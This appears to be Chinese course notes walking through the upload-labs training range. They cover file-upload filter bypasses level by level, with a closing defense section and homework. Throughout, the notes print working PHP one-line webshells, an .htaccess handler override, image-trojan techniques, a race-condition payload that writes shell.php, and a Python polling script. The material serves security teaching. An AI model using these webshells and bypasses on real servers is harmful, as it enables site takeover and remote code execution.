文件上传及验证绕过漏洞
目录
一、文件上传常见点
二、客户端--JS绕过--PASS-01
1、环境安装
2、禁用JS
3、后缀名绕过
4、修改前端代码
三、服务端黑名单绕过
1、特殊可解析后缀--PASS-03
2、大小写绕过--PASS-06
3、点绕过--PASS-08
4、空格绕过--PASS-07
5、::$DATA绕过--PASS-09
6、配合解析绕过--PASS-10
7、htaccess绕过--PASS-04
8、双写后缀名绕过--PASS-11
四、服务端白名单绕过
1、MIME类型检测绕过--PASS02
2、00截断绕过--PASS-12
(1)原理
(2)操作
五、服务端内容绕过
1、文件头检查--PASS14
(1)图片马的制作方法
(2)常见的文件头
(3)操作
2、突破getimagesize及exif_imagetype--PASS15--PASS16
(1)原理
(2)操作
3、二次渲染绕过--PASS17
(1)原理
(2)操作
五、文件包含绕过
1、原理
2、绕过方法
六、代码逻辑(条件竞争)--PASS18
1、原理
2、操作
七、文件上传漏洞安全防御
1、判断文件类型
2、使用随机数改写文件名和文件路径
3、文件上传的目录设置为不可执行
4、使用安全设备防御
一、文件上传常见点
上传头像、相册、图片、附件等,只要是要上传文件的地方都和容易出现文件上传漏洞
二、客户端--JS绕过--PASS-01
JS属于前端的内容,JS绕过也就是如何绕过前端防护。绕过前端的防护最重要以及最好用的一个方法是使用burp抓包工具,然后在抓到的请求包中直接进行数据包的修改,然后传送给服务器。
1、环境安装
docker pull cuer/upload-labs docker run -d -p 8083:80 cuer/upload-labs cuer/upload-labs这个靶场是使用PHP语言编写的。
2、禁用JS
网站只允许上传JPG,GIT,PNG这三种,通过JS脚本语言进行判断,这里将JS禁用之后就不可以进行判断了,从此就可以不限制格式进行上传了。
网站源码:这里定义了允许上传的文件类型 function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name + "|") == -1) {var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;alert(errMsg);return false;} }
禁止操作: F12--F1--禁用JS--则可以进行任何类型的文件进行上传。
3、后缀名绕过
<?php phpinfo();?> 直接获取phpinfo网站信息 <?php eval(@$_GET['a']);?> GET方法 在路径后面使用?作为连接符:?a=system(pwd); <?php eval(@$_POST['a']);?>POST方法 使用蚁剑进行连接
先创建一个后缀可以通过的文件,然后在文件中写入php语言,通过burp进行抓包,将抓到的包进行修改,将后缀名修改为php,然后传送过去,上传成功。
4、修改前端代码
F12--checkfile--将检测文件类型的函数代码进行删除,则无法使用检测函数,删除 form 标签的 onsubmit 事件即可成功上传。
三、服务端黑名单绕过
黑名单:加入黑名单的意思就是不允许黑名单中的名单进行任何的操作
白名单:加入白名单意味着只有白名单里面的人可以进行操作。
1、特殊可解析后缀--PASS-03
$is_upload = false; $msg = null; if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');//这是添加的黑名单$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';} }
-
源码中有
-
删除文件名末尾的点,
-
转换为小写,
-
去除字符串::$DATA,
-
收尾去空。这四种对于用户输入进行过滤的方法。
-
-
与此同时还建立了黑名单,.asp','.aspx','.php','.jsp这四种是黑名单中的后缀名。
-
除了上述的四种后缀之外,其他的后缀均可以上传,如.phtml,.php5,.pht,如果上传的是.php5这种类型的文件,想要被当成php文件执行,需要有一个前提条件:也就是Apache的httpd.conf有如下配置:
-
AddType application/x-httpd-php .php .phtml .php5 .phps .pht
-
在upload-labs这个靶场中,并未进行这个前提的配置,所以我们做实验只要证明能够上传成功即可。
-
2、大小写绕过--PASS-06
$is_upload = false; $msg = null; if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';} }
-
少了对于用户输入进行转换大小写。所以这里我们可以使用大小写进行绕过,如后缀名为:PhP,phP等,只要不在黑名单里面即可。
关于一句话木马的使用: GET方法: 将后缀为.Php的文件,写上内容为<?php eval(@$GET['a']);?>。然后进行上传,上传成功,复制图片链接然后再链接上加入?a=system(pwd);就可获得相应的信息。 http://10.0.0.161:8083/upload/202504100010249380.Php?a=system(pwd);
3、点绕过--PASS-08
这里不再进行源代码的展示了,第八关少了删除文件末尾的点这个过滤操作,我们可以利用这一点进行绕过。
由于直接对文件的后缀名加个点的话,windows会直接对其进行处理,所以我们要采用抓包的过程来对后缀进行修改。--.php.
4、空格绕过--PASS-07
第七关少了首尾去空这个处理。所以我们在后缀末尾加上空格。由于直接加空格会被处理,所以这里我们也是采用burp进行处理,然后修改后缀名进行绕过。
5、::$DATA绕过--PASS-09
-
文件后缀为.php--加了::$DATA之后就变成了--.php::$DATA
-
原理是文件名加了::$DATA,会把::$DATA之后的数据当成文件流进行处理,不会检测其后缀名是什么,且保持::$DATA之前的文件名。使用它的目的就是使得服务器不检测后缀名。
-
还是相同的操作,在burp中修改后缀名。
6、配合解析绕过--PASS-10
这一关是四个处理都全部具备了,但是这四个检测都只检测了一次,并没有循环检测,所以我们可以使用info.php. ., info.php. ::$DATA来进行绕过。在burp中进行修改后缀名。
7、htaccess绕过--PASS-04
-
第四关和第十关之间的区别在于黑名单中第四关没有.htaccess这个后缀。.htaccess是一个配置文件,负责相关目录下的网页配置。它提供了针对目录改变配置的方法,即在特定的文档目录中放置一个包含一条或者多条规则指令的该文件,以作用于此目录及其所有子目录。
-
也就是说上传了.htaccess后缀的文件,然后.htaccess文件会修改网页配置,使得上传的文件都使用php进行解析。
-
.htaccess文件的命名只能是.htaccess.
准备好两个文件:.htaccess文件
<!-- .htaccess 文件 --><FilesMatch "magedu.jpg" >Sethandler application/x-httpd-php</FilesMatch>
//magedu.jpg<? php @eval ( $_POST [ "magedu" ]); ?>
操作: 上传一个.htaccess文件 再上传一个magedu.jpg文件,后缀随便,只要能够上传成功即可(没有在黑名单即可)
8、双写后缀名绕过--PASS-11
第十一关上传的文件的后缀名凡是符合黑名单中的任意一个后缀,则会被替换为空。但是并未做循环检测,我们可以使用.pphphp来进行绕过。
四、服务端白名单绕过
1、MIME类型检测绕过--PASS02
源代码中主要是检查文件的类型,在burp抓包中我们可以看到在文件的名称下面有一个数据包是文件的的类型。所以我们的绕过可以是上传一个1.php但是通过抓包工具将请求包中的文件类型转换为image/png(白名单中允许的内容),然后传送过去就可以了。
2、00截断绕过--PASS-12
(1)原理
00截断是操作系统层的漏洞,由于操作系统是C语言或者汇编语言编写的。这两种语言在定义字符串的时候,都是以\0作为字符串的结尾的,当操作系统碰到\0就认为读取到了一个字符串的结束符号。
%00:在URL中表示结束 0x00:操作系统按照十六进制读取 eg: aaa.php%00bbb.jpg这个时候bbb.jpg被截断,只剩下aaa.php
-
所以可以通过%00来进行截断。注意:%00的使用实在路径上的,不能再文件名上进行截断,因为网站一般不会对文件名进行解码则不会发挥截断作用。
(2)操作
上传一个后缀名为png或者jpg的文件,文件内容为一句话木马,然后通过burp进行抓包,在抓取到的请求包中进行修改 save_path=../upload/info.php%00info.png 使用%00后面接刚才上传的文件名进行截断,最终将上传的文件保存为info.php。 如果是在当前靶场中进行上传会发现上传失败,这是因为使用截断需要有两个前提条件: (1)php版本小于5.3.4 (2)php.info的magic_quotes_gpc设置为OFF状态 而当前靶场的环境的版本是5.3.8,不满足第一个条件。
解决方案:自己搭建一个靶场 (1)在windows环境中--安装phpstudy2018(直接双击进行安装即可,选择一个安装的路径就可以) (2)按照截断的要求去配置当前的php:a、切换版本为低于5.3.4b、点击其他菜单选项--打开配置文件--php.info--查找magic_quotes_gpca--将其改为OFF--保存 (3)复制upload-labs网站源码--点击其他菜单选项--网站根目录--粘贴进去,手动创建一个upload文件来存放上传的文件--启动 找到自己的主机网址:cmd--ipconfig(192.168.3.153) 192.168.3.153/upload-labs 进行访问,在自己的创建的这个靶场中对应的关卡是PASS11 (4)PASS11(get方式下的截断)--上传文件--进行抓包--截断 PASS12(POST方式下的截断)--抓包--在../upload/post.php%00下面进行截断,会发现失败. 这里我们需要将%00进行URL解码之后放上去,才会截断成功。
五、服务端内容绕过
1、文件头检查--PASS14
-
每个不同类型的文件的文件头是不相同的,服务器可以根据不同的文件头来判定文件时什么类型。
-
图片马的意思就是在图片中插入一句话木马,且不影响图片格式,图片可以正常打开。
-
服务端内容绕过是需要搭配文件包含漏洞才能够正常进行的,其中文件包含是网站的正常操作,通过在一个文件中包含另外一个文件,如果包含的另外一个文件是php则可以被利用。
(1)图片马的制作方法
-
windows操作系统进行文件拼接
将要拼接的两个文件放在一个文件夹中--在文件路径处cmd--进入命令行操作--输入拼接命令 copy /b 第一个文件名+第二个文件名 拼接之后的新的文件名
-
直接使用16进制工具在图片尾部添加一句话木马。
16进制工具是010 editor
-
直接在burp中进行抓包,在数据包中添加一句话木马。上传一个.jpg图片--抓包--在请求包图片后面加上一句话木马--放过去--访问一句话木马(下面有访问方法)
-
直接使用16进制编辑工具在php文件的头部添加图片头
文件的文件头的十六进制不会因为后缀名的改变而改变,所以可以通过文件头进行绕过php文件。
(2)常见的文件头
.jpg FF D8 FF E0 00 10 4A 46 49 46
.PNG 89 50 4E 47
.GIF 47 49 46 38 39 61
(3)操作
通过上面四种方法中的任意一种方法进行图片马的制作,加上利用该靶场已经存在的文件包含漏洞,从而可以实现攻击成功。
使用文件包含漏洞进行产看一句话木马: 10.0.0.161:8083/include.php?file=upload/文件名 还可以通过蚁剑来进行测试连接拿下网站。
2、突破getimagesize及exif_imagetype--PASS15--PASS16
(1)原理
getimagesize()和exif_imagetype()这两个函数主要是用来获取文件类型,进行文件类型的判断,如果是图片,会获取图片的宽和高,那么这样的话我们制作图片马的时候就不能采用第四种方法了,因为第四种方法的本质是上传一个php文件只不过是通过文件头进行绕过。
(2)操作
可以利用上面提到制作图片马的方法1,2,3来进行绕过即可,这里不再赘述。
PASS15:采用方法一制作图片马
PASS 16:使用方法二制作图片马
3、二次渲染绕过--PASS17
(1)原理
-
二次渲染的意思是根据用户上传的图片,新生成一个图片,原始图片被删除,从而将新的图片添加到数据库中。
-
我们可以通过十六进制工具来查看原始图片和经过网站二次渲染之后的图片的十六进制数的差异,进行两个图片的对比(打开十六进制工具--Tools--compare),会发现如果上传的是JPG文件的话,那么经过二次渲染之后,只有前面二十几行没有发生变化,后面的均发生了变化;而如果上传的文件是GTF则经过二次渲染之后前几百行没发生变化,后面的均发生变化。对于我们攻击者来说,我们一般会采用上传GTF文件来进行二次渲染绕过,因为我们想要将一句话木马插入到图片中,经过二次渲染都不会讲木马语句进行改变,GTF更具有优势。
(2)操作
(1)先对要上传的图片继续二次渲染前后对比,大概看出来哪里没有发生变化 (2)在不变的地方插入一句话木马,且不影响图片的阅读效果 (3)上传--利用文件包含漏洞--拿下网站
五、文件包含绕过
1、原理
-
前提:校验规则只校验当前文件后缀名为asp/php/jsp的文件内容是否为木马。
2、绕过方法
(1)先上传一个内容为木马的txt文件 (2)上传一个php文件,内容不包含攻击特点 <?php Include("上传的txt文件路径");?> 也就是上传的php文件中包含第一步上传的txt文件。
六、代码逻辑(条件竞争)--PASS18
1、原理
-
条件竞争上传时服务端漏洞,由于后端程序操作逻辑不合理导致的。
-
我们一般进行一个网站漏洞挖掘的时候,不会挖掘条件竞争上传漏洞,因为在挖掘前我们是没有办法判断网站源码的逻辑的。只有在进行了代码审计之后会对这个漏洞进行验证。
-
其原理是:网站定义了一个白名单,网站对于用户的输入先进行保存,再进行判断上传的文件是否是白名单中,如果是就保存,如果不是就删除。我们可以利用这中间的一个时间差,赶在上传的php脚本被删除之前访问到它,就能成功执行了。我们可以利用burp多线程发包,然后不断在浏览器访问上传的文件,总会有一瞬间会访问成功的。
2、操作
(1)文件内容payload <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["magedu"])?>');?> 这句代码的意思是fput将一句话木马写入shell.php中并在服务器中创建这个文件。 (2)使用burp进行不停的发包的操作: 将抓到的包--send to Intruder--进行payload类型的修改,改为null payloads--continue indefinitely (3)使用浏览器不停访问的方法: 执行python脚本 在放有python脚本的文件路径中cmd(前提条件是自己的电脑本身就有python环境,之前配置过)--python test.py (4)具体操作顺序:创建一个文件名为cs.php,里面的内容写上payload--在浏览器靶场环境中进行上传--抓包--利用burp不断进行发包操作--在浏览器中不断进行访问操作。 如果一直出现没有成功,那么可以利用burp抓包工具改变一下电脑线程,使其以更快的频率进行发包。
test.py import requests url = "http://127.0.0.1:8083/upload/cs.php" while True:html = requests.get(url)if html.status_code == 200:print("OK") break 当出现ok说明访问到了该文件,那么shell.php应该就创建成功了。
七、文件上传漏洞安全防御
1、判断文件类型
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。
2、使用随机数改写文件名和文件路径
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果使用随机数改写文件名和路径,将极大地增加攻击的成本。
3、文件上传的目录设置为不可执行
只要Web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响。
4、使用安全设备防御
文件上传攻击的本质就是将恶意文件或者脚本上传到服务器,专业的安全设备防御此类漏洞主要是通过对漏洞的上传利用行为和恶意文件的上传过程进行检测。恶意文件千变万化,隐藏手法也不断推陈出新,对普通的系统管理员来说可以通过部署安全设备来提升防御能力。
作业:(上文均已经给出了详细的解答)
文件上传
(1)客户端绕过练习
(2)服务端黑名单绕过:给出.htaccess文件绕过的具体步骤
(3)服务端白名单绕过:%00截断绕过,要求虚拟机中搭建实验环境,分别实现GET、POST方法的绕过
(4)文件头检查:分别利用3种制作图片马的方式实现上传绕过
(5)二次渲染绕过